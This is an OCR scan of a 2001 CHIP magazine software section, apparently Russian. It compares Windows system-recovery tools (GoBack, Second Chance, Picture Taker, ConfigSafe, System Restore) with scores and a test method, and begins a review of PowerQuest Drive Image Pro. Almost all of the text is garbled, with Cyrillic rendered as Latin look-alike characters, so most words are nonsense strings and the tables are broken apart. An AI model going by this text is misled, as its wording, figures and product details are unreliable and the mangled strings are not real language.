cn ot 6ecnone3Hbix 3anMceM. npaBAa, y npo- 
rpaMMbi ecTb oamh HeAOCTaTOK: OHa coxpaHneT 
3aiAMLAeHHbie ct)aM/ibi mnbKO Ha Ancne C. B 
3tom c/iynae cdOM wecTKoro am cna yrpowaeT He 
TO/ibKO noBpe>KAeHMeM Windows, ho m MoweT 
pa3pyiuMTb Backup-KaTa/ior, m Windows y>Ke He- 
bo3mo>kho 6yAeT peaHMMMpoBaTb. He3aperMCT- 
pMpoBaHHan nporpaMMa npaKTMnecKM He MMeeT 
4)yHKUM0Ha^bHbix orpaHMHeHMM, oAHaKo noc/ie 
Recovery-onepauMM OHa TpedyeT pemcTpauMM. 

MHcJ)opMaLiMK) o nporpaMMe 

mo>kho HaMTM Ha caMTe www.mslm.com 


CTepTO b MeHio «riycK», c >KecTKoro Ancxa He yAa^e- 
Hbi HMKaKMe nporpaMMHbie cjaaM/i bi. riosTOMy Config- 
Safe npMXOAMTCfl AOBO/lbCTBOBaTbCil noc/ieAHMM 
MecTOM b HaiueM TecTe. riaxeT KOHTpo/iMpyeT m boc- 
CTaHaB/iMBaeT TaKMe Ba>KHbie cjDaM/ibi, KaK, HanpM- 
Mep, win.com. OAHaKo nporpaMMa He npeAOxpaH^- 
eT CMCTeMy ot KOHcjDMrypaAMM, He cnoco6Hbix k 
3arpy3Ke. OHa He npeAOCTaB^^ieT hm B03M0>KH0CTb 
C03AaHM5i AUCKeTbi Hana^bHOM 3arpy3KM, hm onuMio 
3arpy3KM Windows. KpoMe toto, ynpaB^eHMe, opra- 
HM30BaHHoe nepe3 6o^biuoe ko^mhcctbo okoh m 
M eHio Drop-down, eABa ^m yAo6HO a nn HaHMHaio- 
iamx no^b30BaTe^eM. 

3aT0 KOHTpO/lb HaA M3MeHeHM51MM CMCTeMbi 06- 
pa3A0Bbi m — ConfigSafe npM jho6om nonbiTKe mh- 
CTa^^m^MM cnpaiuMBaeT, Hy>KHO/iM npoM3BecTM 
MrHOBeHHyio 3anMCb CMCTeMbi. npaBAa, co BpeMe- 
HeM 3T0 HaHMHaeT AGMCTB0B3Tb Ha HepBbl, ec^M 
nporpaMMHbie npoAyKTbi nacTO ycTaHaB/iMBaiOTCii m 
cpa3y yAa^moTC^. Ho 3Aecb Bbi6op ocTaeTC^ 3a 
no/ib30BaTe/ieM: 3axoneT^M oh 3aiAMTMTb KOHcfiMry- 
paAMio m/im 0TKa>KeTC5i ot 3Toro paAM CBo6oAHoro 
MeCTa Ha >KeCTKOM AMCKe. B 3aBMCMM0CTM ottoto, 
KaK nacTO ConfigSafe 3anoMMHaeT Snapshots, mo>k- 
ho eiAe cnacTM KOHcfiMrypaAMM Windows M3 6o^ee 
OTAa/ieHHoro npoiu^oro. ■ ■ ■ TeHpvi LUennapA 


mor 


Hm oAHa M3 nporpaMM b HaiueM TecTe He no- 
Ka3aua adcouiOTHoro coBepiueHCTBa. TeM He 
MeHee Bee npoAyKTbi, 3a MCK/uoneHMeM 
ConfigSafe, padoTauM HacTO/ibKO HaAe>KHo, 
hto Mbi peKOMeHAyeM mx A-nn npMMeHeHMH. 
Ann AOMaiuHMx no/ib30BaTe/ieM, KOTopbiM He 
odn3aTeubHo mydOKO ocBaMBaTb >Keue30 m 
BH yTpeHHee yCTpOMCTBO CMCTeMbi, AOCTaTOHHO 
nporpaMMbi System Restore M3 Windows Me. 
Ho TaKOMy no/ib30BaTe/uo npMAeTcn MMpMTb- 
CH C HeAOCTaTKaMM B K0HCt)Mrypai4MM. 

ToMy, kto xoneT doubiuero, Hy>KHa Tanan 
nporpaMMa, KaK nodeAMTe/ib TecTa GoBack. 
OdbiH HbiM pe>KMM padOTbi System Restore Ta- 
Kyio nporpaMMy He ycTpoMT KaK b OTHOLueHMM 
HaAe>KH0CTM, TaK M 4)yHKI4M0Ha/lbH0CTM. Go- 
Back padOTaeT noA Windows m npn stom «od- 
xoamt» ee, nepeHocn Aa>t<e 4)opMaTMpoBaHMe 
>KecTKoro AncKa. nporpaMMa CTporo npMAep- 
>KMBaeTcn npMHpMna BoccTaHOB/ieHMH CMCTe- 
Mbi TaK, HTodbi OHa BbimHAeua, KaK b onpe- 
AeueHHbm, 3apaHee 3aAaHHbiM momcht. B 
3tom GoBack npeBoexoAMT KOHKypeHTOB. B 
OT/iMHMe ot Hee Second Chance MMeeT to 
n peM MymecTBO, hto noub30BaTeub Mo>neT 
yKa3aTb, KaKMe /lornnecKMe auckm m KaTa/io- 
tm OHa AOu>KHa KOHTpouMpoBaTb. Second 
Chance — douee rndnan b odpaiAeHMM npo- 
rpaMMa. Ode nporpaMMbi B03r/iaBM/iM «Typ- 
HMpHyio TaduMuy», noTOMy hto ToubKO ohm 
cnpaBMUMCb c npod/ieMaTMKoPi System 
Recovery. Ohm MoryT ycTpaHHTb cepbe3Hbie 
noBpe>KAeHMH, KorAa Windows do/ibwe He 
3anycKaeTcn. ToubKo GoBack m Second 
Chance pacnouaraiOT npoAyMaHHOM cxeMOM 
aBT0MaTM3auMM m KOHTpo/m, rapaHTMpyioLAeM 
TinaTe/ibHoe BoccTaHOB/ieHMe. 
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SOFTWARE c p a b h m t e ji b h bi e t e c t bi 



GoBack 2.22 

Second Chance 2.0 

Picture Taker 3.1 

npOM3BOAMTe/lb Roxio 

Powerquest 

Lanovation 

Aflpec b MHTepHeTe roxio.com 

powerquest.com 

lanovation.com 

UeHa DM100 

DM150 

$40 

njiaT(t>opMa Windows 9x/Me 

Windows 9x/Me 

Windows 9x/Me, NT/2000 




06iuan oqeHxa (6a/i/ibi) 82 

79 

66 

CueHapMM TecTa 80 % 

68 % 

78 % 

OyHKUMOHa/lbHOCTb 84 % 

91 % 

73 % 

SproHOMMKa 88 % 

88 % 

36 % 

Pecypcbi 76 % 

94 % 

48 % 

UeHa/pe3y/ibTaT 82 % 

72 % 

68 % 




M-ror 



GoBack noAXOAMT Kax RJin 
HaHMHaiOLAMX, Tax M ASIA npo4>M; 
ee Bbicoxan pa6oTocnoco6HOCTb 
BnenaT/ifieT, ho pacxoA pecypcoB 

CJ1MLUKOM Be/I MX 

Second Chance 3 kohomht MecTO m 
pa6oTaeT 6biCTpo. nporpaMMa xopoiuo 
KOHcJjMrypiipyeMa. YnpaB/ieHxe 
nporpaMMOM pea/in30BaH0 otjimhho 

Picture Taker — sto npoAyxT cxopee 
A/in npo<t>n m aAMMHMCTpaTopoB: 
nporpaMMa Tpe6yeT A/iMTe/ibHoro 
OCBOeHMB, HO, C APyrOM CTOpOHbl, 
npeAOCTaB/ineT B03M0>KH0CTb oneHb 
TOHHOM HaCTpOMKM 

CqeHapnn TecTa 



DirectX OaM/ibi 3aMeHflK)TCfl, 

DirectX Boccia Ha b/i m BaeTcn no/iHocTbio, 

OaPiJibi BoccTaHaB/iMBaioTCfl xopoiuo, 

ocTaTKM b peedpe 

DLLs yfla^FHOTCR 

a b peecTpe ocTaeTca Mycop 

Easy CD Creator OaM/ibi 3aMeHmoTcn, 

OaPiJibi 3aMeHaioTca, ocTaTKM b peecipe 

OaPiubi m peecTp BoccTa HaB/iMBaioTcn 

ocTaTKM b peedpe 


nO/IHOCTblO 

ATI-ApaMBepbi + Gozilla OaPiJibi m peecip 

ATI-flpaMBepbi yAa/imoTcn 

KoAbi peecTpa ocTaioTcn 

BOCCTaHaB/IMBaiOTC3 nO/IHOCTbK) 



Office 2000 OaPiJibi m peecip 

OaPuibi 3aMeHflK)TCfl, oct3tkm b peecipe 

Oakiubi 3aMeHmoTcn, 

BOCCTa H3 B/l M B3 lOTCfl nO/IHOCTbK) 


CLASSES b peecTpe ocTaiOTcn 




HacTMHHoe BoccTaHOB/ieHMe 

- 

• 

lloc/ie Aecl)parMeHTauMM • 

Hy>KHa AMCKeia Hana/ibHOM 3arpy3KM 

Pa6oTaeT MeA/ieHHee 

CxcTeMHbie (jjax^bi • 

To/ibKo Ba/KHeMiukie 

• 

lloc/ie c()opMaTMpoBaHMfl flMCxa C: (FAT) • 

- 

- 




OyHKUHOHa/IbHOCTb 



npMHLiMn pa6oTbi ycTaHaB^MBaeica noA Windows, MO>neT 

KOHTpo/inpoBaTb Bee onepaqMM 

CpaBHeHkie «ao m noc/ie», Backup 
Ba>KHeMLUMX CMCTeMHbIX (J)aMJ10B 

Image + cpaBHeHMe 

Checkpoints ABTOMaTMHecKM nepefl Ka>KflbiM 

M3MeHeHMeM B CMCTeMe, xopoiuo 
KOH4)nrypnpyioTca, flociynHbi b TeneHMe 
A/iMTe/ibHoro BpeMeHM 

ABTOMaTMHecKM M BpyHHyiO, KOH(J)Mry- 
pMpyiOTCa np0M3B0/lbH0 

BpyHHyio, KOH(J)MrypMpyK)TCfl m 
3anoMMHaioTcn npoM3Bo/ibHo 


Heo6xoAMMan naMXTb 

nepeMeHHaa 

nepeMeHHan 

50% 3aHHToro noun naMHTM 

flMcxeTa HananbHOM 3arpy3KM 

- 

• 

- 

noMOiAb/AOxyMeHTaqMn 

Help, AeMOHCTpapMOHHbie bmago, 

06pa3poBoe conpoBO>KAeHMe 

C/imlukom cxyAHan 


o6wMpHan MHCTpyxpMn 

noub30BaTeun, Online-noMoiAb 
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KaKMM o6pa3QM TecTupoea/iHCb nporpaMMbi 


CueHapmi TecTa 

Azin npoBepKM KanecTBa nporpaMM Mbi cpaBHM/in 
Me>Kfly co6oPi peecip m (JjaPi/iOByio cipyKTypy ao m 
noone cueHapkm Tecia. n^aT^opMoPi onywMTia 
Windows Me, noTOMy hto nporpaMMa BoccTaHOB- 
/ieHMfl cucTeMbi Me 6bma oahmm m 3 KaHAMAaTOB 
Ha ynacTMe b Tecie, m, eciecTBeHHo, noA APyroPi 
CMdeMOM padOTaib He Moma. 

BHanaTie Mbi ycTaHOBMTiM, hto APyrne nporpaMMbi 
noA Windows 98 SE asiot conocTaBMMbie pe3yrib- 
TaTbi. CiaBM^acb 3aAana no yAa/ieHmo pa3Hbix 
nporpaMM 6e3 ociaTKa, nacTMHHO noone Ae<t>par- 
MeHTaUMM, MT1M BblSopOHHO. B KaHeCTBe OAHOTO M3 
ocHOBHbix 4)aM^OB Windows Mbi cTepTiM win.com, 
HTodbi nocMOTpeib, BOCdaHOBMT Tim ero KaKan- 
tim6o nporpaMMa. B pe3y/ibTaie mo>kho 6 bmo Bbi- 
HCHMTb, CMoryT Tim System Recovery Tools Boccia- 
HOBMTb CTapyiO CMCTeMy Ha HeAaBHO OT(t)OpMaTMpO- 
BaHHOM TIOTMHeCKOM A^CKe. 

OyHKUMOHa/IbHOCTb 

HacKOTibKO tm6ko nporpaMMbi BbinoTiHHiOT cboio pa- 
6oiy? Kan nado m KorAa ohm no3BOTiHK)T coxpaHHTb 
COCTOflHMfl CMCTeMbl, KOTOpbie n0Tlb30BaieTlb n03A- 
Hee Mo>KeT «BbiTaiAMTb» onaTb? Mo>kho tim KOHctwry- 
PMpOBaTb C0CT0HHM51 CMCTeMbl, HTOdbl BOCCTaHOBTie- 
HMe He KacaTiocb onpeAeTieHHbix 30 H? CKOTibKO 
MeCTa 33HMMaiOT MTHOBeHHbie 3anMCM CMCTeMbl? 

3proHOMMKa 

A-na nporpaMMHoro npoAyKTa, BbinoTiHHiOLAero CTOTib 
Ba>KHyio m Ae-nnKaTHyio padOTy, yAOdCTBO ynpaBTie- 
hmh MMeeT dOTibiuoe 3HaneHMe. B pyKOBOACTBe mtim 
4)aPiTie noMOLAM AOTi>KHa coAepwaTbca bch MHcJjopMa- 
A-na noTib30BaTeTiH. 

Pecypcbi 

CpeACTBa 3aiAMTbi nacTO 3aHMMaiOT MHoro MecTa Ha 
AMCKe, HTodbi odecnenMTb dOTiee noTiHoe OTodpawe- 
HMe CMCTeMbl. K 3aTpaTaM pecypcoB naMHTM otho- 
cmtch Ta K>Ke Bonpoc 0 ckopoctm padOTbi nporpaMM- 
Horo npoAyKTa. 


0I4EHKA Chip a 


(M3 nero cK^aAbiBaeTcn no/iHbm da/1/1) 

Pecypcbi j^^HcueHapuM TecTa 



SprOHOMMKa I dtyHKUMOHa/lbHOCTb 
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SOFTWARE cpeflCTBa KJiOHMpoBaHMfl pa6onnx c t a h 14 m Pi 


PowerQuest Drive Image Pro 

BackUp 6e3 npo&neM, 

m/i ki Ann Tex, 

KTO Hemo6MT MHCTa/l/lfll4MM 

ripaKTMHecKM Ka>KA0My, kto npoBOflm 3 a KOMnbiOTepoM 6o/ibwe 15 MMHyT b AeHb, paHO mjim no3flHO 
npuxoAMTCfl cra/iKMBaTbCfi c npo6/ieMOM BoccraHOB/ieHna onepapnoHHOM cucreMbi. KaK npaBM/io, sto 
M eponpu^Tue Bbi3biBaeT Maccy tojiobhom 6o jim, a caMoe maBHoe — OTHMMaeT yMMy BpeMeHM. 


C OflHOM CTopoHbi, 3tot npoqecc no/ie 3 eH M 3 06- 
iMeo 6 pa 30 Baie^bHbix coo6pa>KeHMn, ho noTOM 
HaHMHaeT Bbi 3 biBaTb Bee 6o/ibwee pa 3 flpa>KeHMe — 
Bac OTB/ieKaiOT ot pa6oibi m/im pa 3 B/ieHeHMPi nocro- 
^HHbie nporpaMMHbie c6om. ripn onepeflHOM «nafle- 
hmm» Windows Bbi mnbKO Tawe/io B 3 floxHeie m, co- 
6paBiuncb c flyxoM, HanHeie McxaTb qeHHyio 
MHcjDopMauMfo, coxpaHATb ee Ha BcanecKMe cbeMHbie 
HocMTe/iM, npo ce6a Mo/mcb o tom, HTo6bi He flaPi 
6or HMHero He 3 a 6 biTb, oco6eHHo ec/iM sto Haxo- 
AMtca b npec/iOByTOM flMpeKTopMM c:\windows\ 


profiles jim6o aHa/iorMHHbix «npMATHbix» Meciax. 
KoHeHHo, pa6oTaa b jioKa/ibHOM ceTM, rfle MMeeTCfl 
dpMMep m/im flpyroe ycrpoMCTBO pe3epBHoro KonM- 
pOBaHMfl, MO>KHO nOnpOCMTb aflMMHMCTpaTOpa Cfle- 
/iaTb «/ieHTOHKy» c BaiuePi cMdeMoPi (on/iTb-TaKM, 
ec/iM 3Ta «/ieHTOHKa» HaMAeTC/i m aflMMHMCTpaiop 
3axoneT noipamib Ha Bac CBoe AparoqeHHoe BpeMA 
m pecypc dpMMepa). ripn stom Haflo yHMTbiBaTb, hto 
b jik)6om c/iynae f\nn BOCcraHOB/ieHM/i noTpe6yeTca 
KaK MMHMMyM rOTOB3fl MHCTa/l/lMpOBaHHa/1 onepauM- 
OHHaa CMdeMa n/noc ycraHOB/ieHHafl Ha nev\ npo- 


rpaMMa Bpofle Seagate BackllpExec m/im Cheyenne 
ArcServe. Hy a b flOMawHMx yc/iOBM/ix hm o CTpMMe- 
pax, hm o npoHMx 6/iarax AMBM/iM 3 ai 4 MM penb BOo6iAe 
He MfleT — ecTb mnbKO flMCKeibi, b jiynweM c/iynae 
CD-RW m/im ZIP-flMCKOBOfl. Ee3 cooTBeTCTByiomero 
nporpaMMHoro o6ecneneHMfl stm ycrpoMCTBa He nofl- 
xofl^Tfl^^ no/iHoqeHHoro BackUp. 

J1io6om no/ib30BaTe/ib co cia>KeM 3HaeT, hto eMy 
Hy>KHO, a HTO HeT, fl>KeHT/lbMeHCKMM Ha6op npM/10- 
>KeHMM m yTM/iMT flopor ero cepfluy m Mcno/ib3yeTC/i 
e>KeflHeBHo. M bot npMiu/ia 6efla — oqjm6km b peec- 
Tpe, nocTO^HHbie «3aBMcaHM/i» m cmhmc SKpaHbi. Bbi 
to/1 kom He ycneBaeTe coxpaHMTb nMCbMO b noHTO- 
bom K/iMeHTe nepefl TeM, KaK Mbimb m/im K/iaBMaTypa 
nepecTaeT pearnpoBaTb Ha npepbrnaHM/i. 3 to Bbi- 
Hy>KflaeT npoM3BOflMTb TpaflMUMOHHbie onepauMM, 
HaHMHaiOLMMeCfl C flO 60/lM 3H3K0M0M KOMaHflbl 
format c: /u. Bee Aa/ibHePiuiMe xoflbi Bbi m caMM xo- 
poiuo 3HaeTe: ycTaHOBKa OC c MHoroHMC/ieHHbiMM 
nepe3arpy3KaMM, MHCTa/umuMfl ApaiiBepoB (He Bce- 
rfla maflKO npoTeKaioma/i), HacrpoMKa CMCTeMbi m, 
HaKOHeu, ycTaHOBKa npM/io>KeHMM. A ec/iM Bbi /iio6m- 
je 3KCnepMMeHTMpOB3Tb C HOBbIM COCflTOM, TO paHO 
m/im no3flHO 3 to Ta K>Ke npMBefleT k «nafleHMio» OC. 
HacTOTa nepeycTaHOBOK b stom c/iynae B03pacTaeT. 

Hto MO>KeT Drive Image Pro? 

06/ierHMTb >KM3Hb BaM noMO>KeT nporpaMMa Drive 
Image Pro, npoflyKT KOMnaHMM PowerQuest 
(www.powerquest.com). l/l3BecmbiM pa3pa6oTHMK 
no, npoM3BOfl5UMMM Ha CBeT no/ie3Hbie CMCTeMHbie 
yTM/lMTbl f\nf\ pa 60 Tbl C AHCK3MM M pa3/lMHHblMM 
cJaaPi/iOBbiM m cMCTeMaMM, TaKMe KaK Partition Magic, 
Server Magic, MMeeT b CBoeM apceHa/ie m cpeACTBO 

K/lOHMpOBaHMfl pa3Ae/10B, 0 KOTOpOM M noiiAeT 



a CosflaHHe HOBoro 3aflaHnq non noMOiijM Task Builder 
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a ny6/iHKyeM MMMfl>K-4>aMJi b cem c noMoutbio PowerCast 


» penb. OcHOBHa^ ue/ib, AoemraeMafl B/iafle/ibLjaMM 
3Toro npoflyKTa, — K/iom/ipoBaHMe pa6oHMx CTaH- 
\\m m 6bicipoe coxpaHem/ie m BocciaHOB/iem/ie mh- 
cjDopMauMM c /iio6bix AOdynHbix HaKonMTe/ieM. Pea- 
nv\3au,m stom npocroM Mflen oneHb yflo6Ha p,nn Ma- 
LLI MH, pa60Tai0lAMX KaK B CeTM, TaK M M30/lMp0BaHH0: 
Drive Image Pro HmaeT coxpaHaeMbm pa3Ae/i no 
ceKTopaM m 3anMCbiBaeT b MMMA>K-cJ)aM/i oco6oro 
cjDopMaia c pacLUMpem/ieM PQI (PowerQuest Image) 
Ha AOdynHbiM p,nn 3anMCM HOCMTe/ib. f\ns\ Boccra- 
HOB/ieHMji coxpaHeHHoro pa3Ae/ia Tpe6yeTCfl Bcero 
/lMLLib pacnaKOBaib no/iyneHHbm cjaan ji Ha cbo6oa- 
Hoe HecfiopMaTMpoBaHHoe AUCKOBoe npocipaHCTBO. 
TaKMM o6pa30M, noAroTOBMB o6pa3UOByio MHCTa/i- 
/iaAmio onepauMOHHOM CMcreMbi, BK/nonafl Bee /uo- 
6MMbie m He/no6nMbie, ho Heo6xoAMMbie npM/iowe- 
hma, MrpyiiiKM m TOMy noAo6Hoe, Bbi MO>KeTe cno- 
KOMHO 3anMCaTb CBOM pa3Ae/l B MMMA>K-C|3aM.n, K 
npMMepy, Ha CD, m OT/io>KMTb ero b dopoHy. 

PaccMOTpMM noApo6Hee Bee yAo6dBa Mcno/ib- 
30B3 hm^ m LunpoTy B03M0>KH0CTeM Drive Image 
Pro. n o/i h bm AHCTpn6yTMB nporpaMMbi «BecMT» ao- 
BO/ibHO MHoro, nop^AKa 35 M6aMT, m sto KaweTCfl 
a6cypAHbiM no cpaBHem/no c pa3MepoM caMOM 
«flroAKM» — co6dBeHHO yTM/iMTbi Drive Image Pro, 
KOTopaa yMeiAaeic^ Ha oahom A^CKeie m 3anycKa- 
eTca M3-noA /iio6om DOS. Hto >Ke mo>kho 6bmo npM- 
AyMaTb, HTo6bi BcnoMoraie/ibHbie MOAy/iM m AOKy- 
MeHTauMio pa3AyTb ao TaKoro o6-beMa? 1/liaK, Bee 
no nop^AKy. 

Drive Image Pro npeAcraB/meT co6om Ha6op 
yTM/iMT A-fifl pa6oTbi c MMMA>K-cj3aM.naMM pa3Ae/ia: 

► Drive Image Pro — DOS-npn/io>KeHMe c rpacjDMHe- 
CKMM MHTepc|DeMCOM M nOAAep>KKOM MblLLIM p,nn co- 
3AaHMfl m BOCdaHOB/ieHMii pa3Ae/ia M3 mmma>k- 
cfiaM^OB; 

► Drive Image Pro Editor — cpeACTBO peAaKTMpo- 

BaHI/lfl MMMA>K-(|)aM/10B M BOCCTaHOB/ieHMfl M3 HMX 
OTAe/ibHbix cfiaM/iOB m AHpeKTopMM; 

► Boot Disk Builder m Create Rescue Diskettes — 
Madepa, C03Aai0LAMe 3arpy30HHbie AMCKeTbi pa3- 
/lMHHbix KOHcfiMrypaAMM p,nn 3anycKa Drive Image 
Pro M3-noA DOS; 

► Drive Image Backllp Scheduler — cpeACTBO cjoop- 
MMpoBaHM^ 3aAan p,nn pery/mpHoro pe3epBHoro 
KonMpoBaHMii; 

► Drive Image PowerCast Server — cpeACTBO ny6- 
ziMKauMM MMMA>K-c|DaM/ia b ceTM p,nn pacnaKOBKM 
ero K/iueHTaMM Ha pa6oHMx craHAMflx; 

► PQPrep — yTM/iMTa p,nn C03AaHMfl c^m/iob 3bto- 

MaTMHeCKMX OTBeTOB Ha BOnpOCbl MHCTa/l/l^AMM 
Windows 2000, aHa/iorMHHaa nporpaMMe b cocra- 
Be Windows 2000 Professional; 

► Task Builder — cpeACTBO pj\s\ cfiopMMpoBaHMfl He- 
6o/ibWMx naxeTOB KOMaHA 3anycKa 3aAan Drive 
Image Pro. 

BeiijM, no/ie3Hbie n Sbiry 

1/lMeeT CMbic/i noApo6Hee onMcaib HeKOTopbie M3 
nepeHMC/ieHHbix yTM/iMT, nocKO^bKy rpaMomoe mx 
npMMeHeHMe no3BO/iMT BaM M36e>KaTb bc^koto poAa 


0 LUm 60K, /lMLLIHeM pa60Tbl M CMHApOMa «M3o6peTe- 
HMfl Be^ocMneAa». HanHeM c r/iaBHoro — co6ct- 
BeHHO Drive Image Pro. OHa pa6oiaei noA /uo6om 
DOS (MS DOS, PC DOS, Caldera DR DOS m t. n.), ee 
mo>kho 3anycTMTb m M3-noA TpaAMAMOHHbix Windows 
9x noc^e yciaHOBKM c AByx amckct (nepBa^ — 3a- 
rpy30HHa^, BTopafl — CMdeMHa^), KOTopbie C03Aa- 
tOTCfl MadepoM Create Rescue Diskettes. l"loc/ie 3a- 
nycKa no^B^^eic^ rpacfiMHecKMM MHiepcfieMC npo- 
rpaMMbi, ynpaB^^Tb KOTopbiM mo>kho npu noMOiAM 
MbiLUM (ee Apa^Bep 3arpy>KaeTC5i c AUCKeTbi). ripo- 
UeAypbl C03AaHM5l MMMA>K-Cl3aM/ia, BOCCTaHOB/ieHMil 
pa3Ae^a m BHemiaTHa^ npoueAypa KonupoBaHM^ 
pa3Ae^a Ha CBo6oAHoe MecTO Bbi3biBaiOTC5i cneuM- 
a/ibHbiMM MacTepaMM, KOTopbie mo>kho Bbi6paTb b 
COOTB eTCTByiOlAMX nyHKTaX MeHIO. ripn C03AaHMM 
MMMA>K-c|3aM/ia MacTep Create Image File 3anpaiuM- 
BaeT mctohhmk — pa3Ae/i m/im pa3Ae^bi pj\n Konu- 
poBaHMfl; Bbi MO>KeTe 3aapxMBMpoBaTb FAT, FAT32, 
HPFS, Linux Native, Linux Swap, HPFS m K/iaccMHec- 
kmm NetWare-pa3Ae/i m6o Hexyio KOM6MHauMio ao- 
dynHbix pa3Ae^OB. floc^e 3Toro 6yAeT npeA/io>KeHO 


Bbi6paTb nyTb, no KOTopoMy Bbi co6Mpaeiecb coxpa- 
HMTb cJaaM/i, — ero mo>kho 3anMcaTb Ha /iio6om ao- 
dynHbiM pa3Ae^ FAT, FAT32, NTFS, noAK/uoneHHbiM 
ceieBOM auck ^m6o Ha cteMHoe ycipoMCTBO IDE 
m/im SCSI LS 120, Iomega ZIP, JAZ m t. n. (npu co- 
3A3HMM AMCKeT Maciep npeA/iaraeiycTaHOBMTb 
Hy>KHbiM BaM ApaMBep). floc^e toto, KaK nyTb p,nn 
cfiaM^a 6yAeT Bbi6paH, a cJaaM/i noMMeHOBaH, Bbi mo- 
>Keie HanucaTb pa3BepHyTbm KOMMeHTapMM k co- 
3A3HHOMy MMMA>K-c|DaM/iy, HTO OHeHb B3>KHO, nO- 


CKO^bKy MO>KHO CAe^aTb MHoro MMMA>K-Ct3aM/10B c 
pa3/iMHHbiM coAep>KaHMeM, KOTopbie 6yAeT TpyAHO 
pa3/lMHMTb no ZiaKOHMHHblM «AOCOBCKMM» MMeH3M. 

rijiaHMpyfl onepauMio OKaTMii pa3Ae^a b mmma>k- 
c|3aM/i, BaM Tpe6yeTC5i npMH^Tb bo BHMMaHMe to, hto 
pa3Mep cjaan/ia npMMepHo paBeH o6-beMy 3aH5iTOM 
nacTM pa3Ae/ia-MCTOHHMKa, ho npu stom c^eAyio- 
iamm rnaroM MacTepa mo>kho yKa3aTb CTeneHb c>Ka- 
T\An pa3Ae^a. Drive Image Pro npeAOcraB/meT B03- 
MO>KHOCTb c>KaTM5i pa3Ae^a Ha 40% m 50%. 06paTM- 
Te BHMMaHMe, hto b MeHio ecTb nyHKT Advanced, ko- 
TopbiM OTKpbiBaeT HOBoe okoluko, no3B0^5i loiAee yc- 
TaHOBMTb napo^b Ha AOCTyn k coAep>KMMOMy 
MMMA>K-cjDaM/ia m Ha npaBO BOCCTaHOB/ieHMji pa3Ae- 
na, 3Aecb >Ke npeAOCTaB^eHa B03MO>KHOCTb ycTa- 
hobkm onAMM p,nn BepMcfiMKauMM ja6nv\u, pa3Ae^OB, 
CTpyKTypbi mhagkcob, 3arpy30HH0M 3anMCM mt. n. H 
eiAe OAHa npMATHafl Me^OHb — Bbi BnpaBe «pa3pe- 
3aTb» Bam c|3aMji Ha TOMa. no yMO^naHMio npeA/iara- 
eTCfl CAe/iaTb TOMa pobho noA pa3Mep KOMnaKT- 
AMCKa. XpaHMTb MMMA>K-(|)aM/i Ha CD oneHb yAo6HO, 
AemeBO m H3Ae>KHO, bmammo, stmm m pyKOBOACTBO- 


Ba^MCb pa3pa6oTHMKM, Bbi6paB TaKOM pa3Mep TOMa. 

Toro, HTo6bi BOCCTaHOBMTb pa3Ae/i, Heo6xoAM- 
mo Bbi3B3Tb 3Aecb we, b maBHOM oKHe Drive Image 
Pro, MacTep Restore from Image File. 3 tot MacTep 
npeA/iaraeT Bbi6paTb cjDaM/i-MCTOHHMK p,nn BOCCTa- 
HOB/ieHMji c /no6oro AOCTynHoro HOCMTe^^i n m6o ce- 
TeBoro AHCKa. Iloc^e Toro, KaK $av\n Bbi6paH, c^e- 
AyeT onpeAe^MTb pa3Ae^, KOTopbiM Hy>KHO Boccra- 
HOBMTb. Bbi MO>KeTe noMeTMTb roTOBbiM pa3Ae^ c 
AaHHbiMM, KOTopbie b Aa/ibHenmeM 6yAyT yHMHTO>Ke- » 

CHIP MKDHb 2001 


OcHOBHaa ue^b pa3pa6oTHMKOB Drive Image Pro — khohhpo- 
BaHne paOoHMx ciaHUMPi m ObiCTpoe coxpaHeHMe m BOCCTaHOB- 
^eHMe MH(t>opMauMH c /iio6bix flociynHbix HaKonme^ePi 
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SOFTWARE cpeflCTBa K/iOHMpoBaHMH pa6onnx c t a h 14 m Pi 


Hbi, jim6o CBo6oflHoe, Hepa36MToe n Hec|)opMaTnpo- 
BaHHoe npodpaHCTBO Ha flMCKe. B c/iynae, ec/iM y 
Bac yciaHOB/ieHo HecKO/ibKO >KecTKMx flMCKOB, Drive 
Image Pro no3BO/im b KanecTBe no/iynaTe/m mh- 
C|DOpMaUMM Bbl3BaTb /ik)6om M3 hmx. C/ieAyiOLAMM wa- 
tom Drive Image Pro 6yflei onpefle/ieHMe pa3Mepa 
HOBoro BocciaHaB/iMBaeMoro pa3Ae/ia: Bbi BnpaBe 
odaBMTb pa3fle^ ciaporo pa3Mepa, co3flaib pa3Ae/i 
Be/IMHMHOM, 06yC/10BJieHH0M BaiilMM 3Ta/10HHblM 
pa3fle^OM, M3 KOTOpom 6bl/l C03flaH MMMA>K-(|)anjl, 
/im6o «pa3flBMHyTb» pa3fle/i Ha bcio AOcrynHyio cbo- 
6oflHyio o6/iacrb. Mo>kho TaK>Ke 3aflaTb we/iaeMbin 
pa3Mep pa3fle^a cneuna/ibHon KOMaHflOM Resize 
Destination Partition. Oahmm cjiobom, Bbi BnpaBe 
npMMeHiiTb oamh mmma>k Ha Bee c/iynan >km3hm, He 
AyMafl 0 tom, Kax jiynwe noA Hero nepexpaMBaTb 
Bam ahck. 

rioMMMO 3tmx AByx CTaHAapTHbix cfiyHKAMM, Drive 
Image Pro no3BO/meT ocyiAecTB/rnTb KonnpoBaHne 
pa3Ae^OB Hanp^Myio. 3iy B03M0>KH0CTb pa3pa6oT- 
hmkm «nepeiaiAM^M» M3 Partition Magic p,nn pacwn- 
peHMA cjDyHKAMOHa/ibHOCTM m yAo6dBa Mcno^b30Ba- 
hma. Ctomt OTMeTMTb, hto Drive Image Pro HaAe/ieH 
p^AOM cjDyHKUMM p,nn npeABapMTe/ibHOM n nocTBOC- 
ciaHOBMTe/ibHOM pa6oTbi c AMCKaMM m pa3Ae^aMM, 
T3KMMM KaK c6op CTaTMCTMKM no pa3Ae/iaM, C03Aa- 
Hne/yAa/ieHne pa3Ae/iOB, bo3mo>khoctm CKpbiTMA 
pa3Ae/ia n, HanpoTMB, c6poc aipM6yia ero hcbmam- 
moctm, yciaHOB/ieHMii aKTMBHoro pa3Ae/ia. Macro 
TaKMe cfiyHKUMM cnacaiOT ot BCflKoro poAa Heo>KM- 
AaHHOCTeM, CBfl3aHHblX C Ha/lMHMeM Ha AHCKe MHO- 
>KecTBa dapbix pa3Ae/iOB. Ilocne pacKpbiTMA cfian/ia 
Ha ahck Drive Image Pro npoBepaeT Ta6/inubi pa3- 
Ae/iOB, MHAeKCbi, 3arpy30HHyio o6/iacrb m no3BO/meT 
c hmm eiAe nopa6oTaib. 

«npHBOAHM B HyBCTBO» Boot.illi 

Pa3pa6oTHMKM Drive Image Pro yAe/in/in 6o/ibiuoe 
